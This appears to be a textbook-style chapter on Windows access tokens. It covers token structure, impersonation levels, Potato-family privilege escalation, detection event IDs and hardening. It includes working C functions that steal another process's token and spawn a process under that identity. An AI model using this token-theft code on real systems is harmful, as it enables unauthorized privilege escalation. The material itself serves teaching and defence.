Access Tokens
Token structure, primary vs impersonation tokens, impersonation levels, token theft for privilege escalation, and detection via Event ID 4624 and token-inspection APIs
A service process running as SYSTEM has a handle to an impersonation token for a domain admin user — the user connected to a network share the service hosts. The attacker with code execution in the service calls ImpersonateLoggedOnUser to attach the domain admin token to their thread, then calls CreateProcessWithTokenW to spawn cmd.exe running under the domain admin's identity. This is token theft (T1134.001), and it requires nothing more than the SeImpersonatePrivilege that most service accounts already have.
Token Structure
Every process and thread runs with an access token, a kernel object that contains the security context for that execution unit. The token determines what resources the code can access.
ACCESS_TOKEN (kernel object, referenced via HANDLE) +User SID (who this token represents) +GroupSIDs[] (all groups this user belongs to, plus EnabledByDefault flags) +RestrictedSIDs[] (for restricted tokens, further limits access) +Privileges[] (privilege set: each entry has LUID + Attributes: Enabled/Disabled/Default) +PrimaryGroupSID (default primary group for new objects) +DefaultDACL (DACL applied to new objects created with this token) +TokenSource (identifies what created this token: LsaLogon, Service, etc.) +TokenType (TokenPrimary or TokenImpersonation) +ImpersonationLevel (Anonymous, Identification, Impersonation, Delegation) +IntegrityLevel (mandatory integrity label SID: Low/Medium/High/System) +SessionID (logon session this token belongs to) +AuthenticationId (LUID identifying the logon session) +LogonSid (SID of the logon session) +Restricted (flag: is this a restricted token?)
Primary vs Impersonation Tokens
| Type | TokenPrimary | TokenImpersonation |
|---|---|---|
| Attached to | A process (can also be on a thread) | A thread only (temporary, during impersonation) |
| Created by | LSA at logon, CreateProcessWithTokenW, DuplicateTokenEx | ImpersonateLoggedOnUser, DuplicateToken, RPC framework |
| Can spawn processes? | Yes (CreateProcess uses the primary token of the calling process) | No directly; must be duplicated to primary first |
| Lifetime | Process lifetime | Until RevertToSelf() or thread exit |
Impersonation Levels
When a thread impersonates a token, the impersonation level controls how far the identity can be "passed along":
| Level | What the server can do | Typical use |
|---|---|---|
| SecurityAnonymous | Cannot identify or impersonate the client | Completely anonymous RPC |
| SecurityIdentification | Can query the client's identity (SID) but cannot impersonate | Auditing, access checks without actual impersonation |
| SecurityImpersonation | Can impersonate the client on the local system only | Most service impersonation (named pipes, COM) |
| SecurityDelegation | Can impersonate the client on remote systems too (Kerberos constrained/unconstrained delegation) | Web servers accessing remote databases as the user |
Service accounts and IIS worker processes have SeImpersonatePrivilege by default — they legitimately need it to impersonate connecting clients. But this privilege, combined with a technique to get a SYSTEM or admin impersonation token (a named pipe that SYSTEM connects to, for example, or the classic Potato family of attacks), allows privilege escalation to SYSTEM. The Potato attacks (RottenPotato, JuicyPotato, PrintSpoofer) all exploit this: trick a privileged service into connecting to an attacker-controlled named pipe, receive their token at Impersonation level, then call ImpersonateNamedPipeClient to gain their identity.
Token Theft (T1134.001)
// Token theft: duplicate another process's token and use it
// Requires SeDebugPrivilege to open arbitrary process tokens
HANDLE StealToken(DWORD targetPid)
{
HANDLE hProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, targetPid);
if (!hProc) return NULL;
HANDLE hToken = NULL;
OpenProcessToken(hProc, TOKEN_DUPLICATE | TOKEN_QUERY, &hToken);
CloseHandle(hProc);
if (!hToken) return NULL;
HANDLE hDup = NULL;
DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL,
SecurityImpersonation, TokenPrimary, &hDup);
CloseHandle(hToken);
return hDup; // primary token ready for CreateProcessWithTokenW
}
void SpawnProcessWithStolenToken(DWORD targetPid, const char *cmdline)
{
HANDLE hToken = StealToken(targetPid);
if (!hToken) return;
// Impersonate first to inherit environment properly
ImpersonateLoggedOnUser(hToken);
STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi;
CreateProcessWithTokenW(hToken, LOGON_NETCREDENTIALS_ONLY,
NULL, (LPWSTR)cmdline, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
RevertToSelf();
CloseHandle(hToken);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
Token Inspection APIs
// Query a process's token information
void PrintTokenInfo(HANDLE hProcess)
{
HANDLE hToken;
OpenProcessToken(hProcess, TOKEN_QUERY, &hToken);
// Get user SID
BYTE buf[256];
DWORD len;
GetTokenInformation(hToken, TokenUser, buf, 256, &len);
auto *tu = (TOKEN_USER*)buf;
PrintSidInfo(tu->User.Sid); // using function from Ch29
// Get integrity level
GetTokenInformation(hToken, TokenIntegrityLevel, buf, 256, &len);
auto *til = (TOKEN_MANDATORY_LABEL*)buf;
DWORD il = *GetSidSubAuthority(til->Label.Sid, 0);
const char *ilName = il >= 0x4000 ? "System" :
il >= 0x3000 ? "High" :
il >= 0x2000 ? "Medium" :
il >= 0x1000 ? "Low" : "Untrusted";
printf("Integrity: %s (0x%X)\n", ilName, il);
// Get token type
TOKEN_TYPE tt;
GetTokenInformation(hToken, TokenType, &tt, sizeof(tt), &len);
printf("Type: %s\n", tt == TokenPrimary ? "Primary" : "Impersonation");
CloseHandle(hToken);
}
Detection
| Event ID | Channel | Description | Token theft signal |
|---|---|---|---|
| 4624 | Security | Logon success: includes LogonType, SubjectUserSid, TargetUserSid | LogonType 9 (NewCredentials) or LogonType 5 (Service) with unexpected SID |
| 4672 | Security | Special privileges assigned to new logon | SeImpersonatePrivilege on unexpected account |
| 4688 | Security | Process creation: includes TokenElevationType, SubjectUserSid, CreatorProcessId | Process spawned by unexpected parent with different token |
| 4648 | Security | Logon using explicit credentials (RunAs / CreateProcessWithLogon) | Process impersonating different credentials |
| Sysmon 1 | Microsoft-Windows-Sysmon | Process creation with User field | SYSTEM process creating process as different user |
Q & A
What's the difference between DuplicateToken and DuplicateTokenEx, and which does an attacker use for privilege escalation?
DuplicateToken is the older API: it creates an impersonation token (TokenImpersonation type only) with the same impersonation level as the source. You can't change the level. DuplicateTokenEx is the extended version: it lets you specify both the impersonation level AND the token type — specifically, you can create a TokenPrimary (primary token) from an impersonation token. This matters for privilege escalation because: (1) CreateProcessWithTokenW requires a primary token — it won't accept an impersonation token. So to spawn a new process as a stolen identity, the attacker must have a primary token. (2) DuplicateTokenEx(src, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hDup) creates a usable primary token from whatever impersonation token the attacker has. The typical Potato attack flow: get a SYSTEM impersonation token via the pipe trick → DuplicateTokenEx to primary → CreateProcessWithTokenW to spawn SYSTEM shell. Without DuplicateTokenEx's TokenPrimary capability, this escalation wouldn't work — you'd be stuck with an impersonation token that can only be used for thread-level impersonation, not new process creation.
If a service has SeImpersonatePrivilege disabled in its token (Disabled state, not Removed), can an attacker still use it?
Yes. The distinction between a privilege in the Disabled state versus Removed state is critical. Disabled means the privilege exists in the token but is not currently active — it can be re-enabled by the process itself via AdjustTokenPrivileges(). Removed means the privilege was stripped from the token and cannot be re-enabled (it's not present at all). So if SeImpersonatePrivilege is Disabled: the attacker's shellcode in that service calls AdjustTokenPrivileges to enable it, then proceeds with the impersonation. If it's Removed: it cannot be re-enabled without obtaining a new token that has the privilege. The practical implication for hardening: stripping privileges from service tokens (via process creation with a restricted token, or via Protected Users group membership, or via service ACL settings) provides real security — the privilege can't be re-enabled. Simply disabling them in the token doesn't. Service hardening should aim to Remove unnecessary privileges, not just disable them. Tools like Process Hacker's token editor distinguish between Disabled vs Removed privileges, which is useful for both red teamers assessing what's available and blue teamers verifying that hardening actually worked.